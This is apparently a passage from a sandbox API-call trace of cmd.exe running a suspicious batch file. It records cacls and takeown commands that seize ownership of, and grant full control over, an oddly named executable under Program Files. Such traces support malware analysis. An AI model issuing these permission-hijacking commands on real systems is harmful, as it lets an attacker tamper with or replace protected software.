_String2=".CMD") returned 2 [0104.204] GetConsoleTitleW (in: lpConsoleTitle=0x20f23c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0104.318] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x210) returned 0x6245c8 [0104.318] GetProcessHeap () returned 0x610000 [0104.318] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xde) returned 0x6247e0 [0104.318] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x418) returned 0x6248c8 [0104.318] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x6248d0, lpFilePart=0x20ed5c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x20ed5c*="Desktop") returned 0x25 [0104.318] SetErrorMode (uMode=0x0) returned 0x1 [0104.408] GetProcessHeap () returned 0x610000 [0104.408] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6248c8, Size=0x60) returned 0x6248c8 [0104.408] GetProcessHeap () returned 0x610000 [0104.408] RtlSizeHeap (HeapHandle=0x610000, Flags=0x0, MemoryPointer=0x6248c8) returned 0x60 [0104.408] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0104.408] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0104.408] GetProcessHeap () returned 0x610000 [0104.408] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x120) returned 0x624930 [0104.408] GetProcessHeap () returned 0x610000 [0104.408] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x238) returned 0x624a58 [0104.408] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x624a58, Size=0x122) returned 0x624a58 [0104.408] GetProcessHeap () returned 0x610000 [0104.408] RtlSizeHeap (HeapHandle=0x610000, Flags=0x0, MemoryPointer=0x624a58) returned 0x122 [0104.408] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0104.408] GetProcessHeap () returned 0x610000 [0104.408] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xe0) returned 0x624b88 [0104.409] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x624b88, Size=0x76) returned 0x624b88 [0104.409] GetProcessHeap () returned 0x610000 [0104.409] RtlSizeHeap (HeapHandle=0x610000, Flags=0x0, MemoryPointer=0x624b88) returned 0x76 [0104.409] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0104.409] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cacls.*", fInfoLevelId=0x1, lpFindFileData=0x20ead8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20ead8) returned 0xffffffff [0104.409] GetLastError () returned 0x2 [0104.409] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cacls", fInfoLevelId=0x1, lpFindFileData=0x20ead8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20ead8) returned 0xffffffff [0104.409] GetLastError () returned 0x2 [0104.409] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0104.409] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.*", fInfoLevelId=0x1, lpFindFileData=0x20ead8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20ead8) returned 0x624c08 [0104.410] FindClose (in: hFindFile=0x624c08 | out: hFindFile=0x624c08) returned 1 [0104.410] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.COM", fInfoLevelId=0x1, lpFindFileData=0x20ead8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20ead8) returned 0xffffffff [0104.410] GetLastError () returned 0x2 [0104.410] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.EXE", fInfoLevelId=0x1, lpFindFileData=0x20ead8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20ead8) returned 0x624c08 [0104.410] FindClose (in: hFindFile=0x624c08 | out: hFindFile=0x624c08) returned 1 [0104.410] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0104.410] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0104.410] GetConsoleTitleW (in: lpConsoleTitle=0x20efd0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0104.410] InitializeProcThreadAttributeList (in: lpAttributeList=0x20ee58, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x20ef20 | out: lpAttributeList=0x20ee58, lpSize=0x20ef20) returned 1 [0104.410] UpdateProcThreadAttribute (in: lpAttributeList=0x20ee58, dwFlags=0x0, Attribute=0x60001, lpValue=0x20ef18, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x20ee58, lpPreviousValue=0x0) returned 1 [0104.410] GetStartupInfoW (in: lpStartupInfo=0x20ee14 | out: lpStartupInfo=0x20ee14*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0104.411] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x18) returned 0x610b20 [0104.411] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0104.411] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0104.411] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0104.411] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0104.411] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0104.411] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0104.411] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0104.411] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0104.411] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0104.411] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0104.411] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0104.411] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0104.411] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0104.411] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0104.411] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0104.411] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0104.411] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0104.411] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0104.411] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0104.411] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0104.411] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0104.411] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0104.411] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0104.411] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0104.411] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0104.411] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0104.411] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0104.411] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0104.412] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0104.412] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0104.412] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0104.412] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0104.412] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0104.413] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0104.413] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0104.413] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0104.413] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0104.413] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0104.413] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0104.413] GetProcessHeap () returned 0x610000 [0104.413] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x610b20 | out: hHeap=0x610000) returned 1 [0104.413] GetProcessHeap () returned 0x610000 [0104.413] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xa) returned 0x610e20 [0104.413] lstrcmpW (lpString1="\\cacls.exe", lpString2="\\XCOPY.EXE") returned -1 [0104.415] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cacls.exe", lpCommandLine="cacls \"C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe\" /E /G 5p5NrGJn0jS HALPmcxz:F /C", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x20eeb4*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="cacls \"C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe\" /E /G 5p5NrGJn0jS HALPmcxz:F /C", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x20ef00 | out: lpCommandLine="cacls \"C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe\" /E /G 5p5NrGJn0jS HALPmcxz:F /C", lpProcessInformation=0x20ef00*(hProcess=0x74, hThread=0x78, dwProcessId=0xe9c, dwThreadId=0xea0)) returned 1 [0104.426] CloseHandle (hObject=0x78) returned 1 [0104.426] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0104.426] GetProcessHeap () returned 0x610000 [0104.426] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x625fc8 | out: hHeap=0x610000) returned 1 [0104.426] GetEnvironmentStringsW () returned 0x625fc8* [0104.426] GetProcessHeap () returned 0x610000 [0104.426] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xb36) returned 0x626b08 [0104.426] FreeEnvironmentStringsW (penv=0x625fc8) returned 1 [0104.426] WaitForSingleObject (hHandle=0x74, dwMilliseconds=0xffffffff) returned 0x0 [0106.651] GetExitCodeProcess (in: hProcess=0x74, lpExitCode=0x20edf4 | out: lpExitCode=0x20edf4*=0x1f57) returned 1 [0106.671] CloseHandle (hObject=0x74) returned 1 [0106.671] _vsnwprintf (in: _Buffer=0x20ef3c, _BufferCount=0x13, _Format="%08X", _ArgList=0x20ee00 | out: _Buffer="00001F57") returned 8 [0106.671] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00001F57") returned 1 [0106.672] GetProcessHeap () returned 0x610000 [0106.672] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x626b08 | out: hHeap=0x610000) returned 1 [0106.672] GetEnvironmentStringsW () returned 0x625fc8* [0106.672] GetProcessHeap () returned 0x610000 [0106.672] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xb5c) returned 0x6281b0 [0106.672] FreeEnvironmentStringsW (penv=0x625fc8) returned 1 [0106.672] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0106.672] GetProcessHeap () returned 0x610000 [0106.672] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6281b0 | out: hHeap=0x610000) returned 1 [0106.672] GetEnvironmentStringsW () returned 0x625fc8* [0106.672] GetProcessHeap () returned 0x610000 [0106.672] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xb5c) returned 0x6281b0 [0106.672] FreeEnvironmentStringsW (penv=0x625fc8) returned 1 [0106.672] GetProcessHeap () returned 0x610000 [0106.672] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x610e20 | out: hHeap=0x610000) returned 1 [0106.672] DeleteProcThreadAttributeList (in: lpAttributeList=0x20ee58 | out: lpAttributeList=0x20ee58) [0106.672] _get_osfhandle (_FileHandle=1) returned 0x7 [0106.672] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0106.672] _get_osfhandle (_FileHandle=1) returned 0x7 [0106.673] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0106.673] _get_osfhandle (_FileHandle=0) returned 0x3 [0106.673] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0106.674] SetConsoleInputExeNameW () returned 0x1 [0106.674] GetConsoleOutputCP () returned 0x1b5 [0106.674] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0106.674] SetThreadUILanguage (LangId=0x0) returned 0x409 [0106.674] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x20f674, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0106.675] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0106.675] _get_osfhandle (_FileHandle=3) returned 0x74 [0106.675] SetFilePointer (in: hFile=0x74, lDistanceToMove=32, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0106.675] GetProcessHeap () returned 0x610000 [0106.675] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x624b88 | out: hHeap=0x610000) returned 1 [0106.675] GetProcessHeap () returned 0x610000 [0106.675] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x624a58 | out: hHeap=0x610000) returned 1 [0106.675] GetProcessHeap () returned 0x610000 [0106.675] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x624930 | out: hHeap=0x610000) returned 1 [0106.675] GetProcessHeap () returned 0x610000 [0106.675] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6248c8 | out: hHeap=0x610000) returned 1 [0106.675] GetProcessHeap () returned 0x610000 [0106.675] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6247e0 | out: hHeap=0x610000) returned 1 [0106.675] GetProcessHeap () returned 0x610000 [0106.675] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6245c8 | out: hHeap=0x610000) returned 1 [0106.675] GetProcessHeap () returned 0x610000 [0106.675] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x624548 | out: hHeap=0x610000) returned 1 [0106.675] GetProcessHeap () returned 0x610000 [0106.675] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x624418 | out: hHeap=0x610000) returned 1 [0106.675] GetProcessHeap () returned 0x610000 [0106.675] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6242f0 | out: hHeap=0x610000) returned 1 [0106.675] GetProcessHeap () returned 0x610000 [0106.675] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x624288 | out: hHeap=0x610000) returned 1 [0106.675] GetProcessHeap () returned 0x610000 [0106.675] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6241a8 | out: hHeap=0x610000) returned 1 [0106.675] GetProcessHeap () returned 0x610000 [0106.675] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6112a0 | out: hHeap=0x610000) returned 1 [0106.675] GetProcessHeap () returned 0x610000 [0106.675] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x611240 | out: hHeap=0x610000) returned 1 [0106.676] _get_osfhandle (_FileHandle=3) returned 0x74 [0106.676] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0106.676] ReadFile (in: hFile=0x74, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x20f658, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x20f658*=0xc2, lpOverlapped=0x0) returned 1 [0106.677] SetFilePointer (in: hFile=0x74, lDistanceToMove=47, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0106.677] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=15, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="takeown /F %1\r\n%USERNAME%:F /C\r\n") returned 15 [0106.677] _get_osfhandle (_FileHandle=3) returned 0x74 [0106.677] GetFileType (hFile=0x74) returned 0x1 [0106.677] _get_osfhandle (_FileHandle=3) returned 0x74 [0106.677] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0106.677] GetProcessHeap () returned 0x610000 [0106.677] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x400a) returned 0x634be0 [0106.677] GetProcessHeap () returned 0x610000 [0106.677] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x634be0 | out: hHeap=0x610000) returned 1 [0106.678] _tell (_FileHandle=3) returned 47 [0106.678] _close (_FileHandle=3) returned 0 [0106.679] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x20f42c | out: _Buffer="\r\n") returned 2 [0106.679] _get_osfhandle (_FileHandle=1) returned 0x7 [0106.679] GetFileType (hFile=0x7) returned 0x2 [0106.679] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0106.679] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x20f3ec | out: lpMode=0x20f3ec) returned 1 [0106.679] _get_osfhandle (_FileHandle=1) returned 0x7 [0106.679] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x20f418, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x20f418*=0x2) returned 1 [0106.681] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0106.681] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0106.681] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x20f428 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0106.681] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x20f428 | out: _Buffer=">") returned 1 [0106.681] _get_osfhandle (_FileHandle=1) returned 0x7 [0106.681] GetFileType (hFile=0x7) returned 0x2 [0106.682] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0106.682] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x20f3f0 | out: lpMode=0x20f3f0) returned 1 [0106.682] _get_osfhandle (_FileHandle=1) returned 0x7 [0106.682] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x20f41c, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x20f41c*=0x26) returned 1 [0106.682] _get_osfhandle (_FileHandle=1) returned 0x7 [0106.682] GetFileType (hFile=0x7) returned 0x2 [0106.683] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0106.683] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x20f674 | out: lpMode=0x20f674) returned 1 [0106.683] _get_osfhandle (_FileHandle=1) returned 0x7 [0106.683] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x6112a8*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x20f6a0, lpReserved=0x0 | out: lpBuffer=0x6112a8*, lpNumberOfCharsWritten=0x20f6a0*=0x7) returned 1 [0106.683] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x20f6ac | out: _Buffer=" /F \"C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe\" ") returned 72 [0106.683] _get_osfhandle (_FileHandle=1) returned 0x7 [0106.683] GetFileType (hFile=0x7) returned 0x2 [0106.684] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0106.684] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x20f66c | out: lpMode=0x20f66c) returned 1 [0106.684] _get_osfhandle (_FileHandle=1) returned 0x7 [0106.684] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x48, lpNumberOfCharsWritten=0x20f698, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x20f698*=0x48) returned 1 [0106.685] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x20f6cc | out: _Buffer="\r\n") returned 2 [0106.685] _get_osfhandle (_FileHandle=1) returned 0x7 [0106.685] GetFileType (hFile=0x7) returned 0x2 [0106.686] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0106.686] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x20f68c | out: lpMode=0x20f68c) returned 1 [0106.686] _get_osfhandle (_FileHandle=1) returned 0x7 [0106.686] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x20f6b8, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x20f6b8*=0x2) returned 1 [0106.687] _wcsicmp (_String1="takeown", _String2="DIR") returned 16 [0106.687] _wcsicmp (_String1="takeown", _String2="ERASE") returned 15 [0106.687] _wcsicmp (_String1="takeown", _String2="DEL") returned 16 [0106.687] _wcsicmp (_String1="takeown", _String2="TYPE") returned -24 [0106.687] _wcsicmp (_String1="takeown", _String2="COPY") returned 17 [0106.687] _wcsicmp (_String1="takeown", _String2="CD") returned 17 [0106.687] _wcsicmp (_String1="takeown", _String2="CHDIR") returned 17 [0106.687] _wcsicmp (_String1="takeown", _String2="RENAME") returned 2 [0106.687] _wcsicmp (_String1="takeown", _String2="REN") returned 2 [0106.687] _wcsicmp (_String1="takeown", _String2="ECHO") returned 15 [0106.687] _wcsicmp (_String1="takeown", _String2="SET") returned 1 [0106.688] _wcsicmp (_String1="takeown", _String2="PAUSE") returned 4 [0106.688] _wcsicmp (_String1="takeown", _String2="DATE") returned 16 [0106.688] _wcsicmp (_String1="takeown", _String2="TIME") returned -8 [0106.688] _wcsicmp (_String1="takeown", _String2="PROMPT") returned 4 [0106.688] _wcsicmp (_String1="takeown", _String2="MD") returned 7 [0106.688] _wcsicmp (_String1="takeown", _String2="MKDIR") returned 7 [0106.688] _wcsicmp (_String1="takeown", _String2="RD") returned 2 [0106.688] _wcsicmp (_String1="takeown", _String2="RMDIR") returned 2 [0106.688] _wcsicmp (_String1="takeown", _String2="PATH") returned 4 [0106.688] _wcsicmp (_String1="takeown", _String2="GOTO") returned 13 [0106.688] _wcsicmp (_String1="takeown", _String2="SHIFT") returned 1 [0106.688] _wcsicmp (_String1="takeown", _String2="CLS") returned 17 [0106.688] _wcsicmp (_String1="takeown", _String2="CALL") returned 17 [0106.688] _wcsicmp (_String1="takeown", _String2="VERIFY") returned -2 [0106.688] _wcsicmp (_String1="takeown", _String2="VER") returned -2 [0106.688] _wcsicmp (_String1="takeown", _String2="VOL") returned -2 [0106.688] _wcsicmp (_String1="takeown", _String2="EXIT") returned 15 [0106.688] _wcsicmp (_String1="takeown", _String2="SETLOCAL") returned 1 [0106.688] _wcsicmp (_String1="takeown", _String2="ENDLOCAL") returned 15 [0106.688] _wcsicmp (_String1="takeown", _String2="TITLE") returned -8 [0106.688] _wcsicmp (_String1="takeown", _String2="START") returned 1 [0106.688] _wcsicmp (_String1="takeown", _String2="DPATH") returned 16 [0106.688] _wcsicmp (_String1="takeown", _String2="KEYS") returned 9 [0106.688] _wcsicmp (_String1="takeown", _String2="MOVE") returned 7 [0106.688] _wcsicmp (_String1="takeown", _String2="PUSHD") returned 4 [0106.688] _wcsicmp (_String1="takeown", _String2="POPD") returned 4 [0106.688] _wcsicmp (_String1="takeown", _String2="ASSOC") returned 19 [0106.688] _wcsicmp (_String1="takeown", _String2="FTYPE") returned 14 [0106.688] _wcsicmp (_String1="takeown", _String2="BREAK") returned 18 [0106.688] _wcsicmp (_String1="takeown", _String2="COLOR") returned 17 [0106.688] _wcsicmp (_String1="takeown", _String2="MKLINK") returned 7 [0106.689] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x624250, lpFilePart=0x20f470 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x20f470*="Desktop") returned 0x25 [0106.689] SetErrorMode (uMode=0x0) returned 0x1 [0106.689] GetProcessHeap () returned 0x610000 [0106.689] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x624248, Size=0x64) returned 0x624248 [0106.689] GetProcessHeap () returned 0x610000 [0106.689] RtlSizeHeap (HeapHandle=0x610000, Flags=0x0, MemoryPointer=0x624248) returned 0x64 [0106.689] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0106.689] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0106.689] GetProcessHeap () returned 0x610000 [0106.689] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x120) returned 0x6242b8 [0106.689] GetProcessHeap () returned 0x610000 [0106.689] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x238) returned 0x6243e0 [0106.689] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0106.689] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x20f1ec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f1ec) returned 0xffffffff [0106.690] GetLastError () returned 0x2 [0106.690] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown", fInfoLevelId=0x1, lpFindFileData=0x20f1ec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f1ec) returned 0xffffffff [0106.690] GetLastError () returned 0x2 [0106.690] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0106.690] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x20f1ec, fSearchOp=0x0, 